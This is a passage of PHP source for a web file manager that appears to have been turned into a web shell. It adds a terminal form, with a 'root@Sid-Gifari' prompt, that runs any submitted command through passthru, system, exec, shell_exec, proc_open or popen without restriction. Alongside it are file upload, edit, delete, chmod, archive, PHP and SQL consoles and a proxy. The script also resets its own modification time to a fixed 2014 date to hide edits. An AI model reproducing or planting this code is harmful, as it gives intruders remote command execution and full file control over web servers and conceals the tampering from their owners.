'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
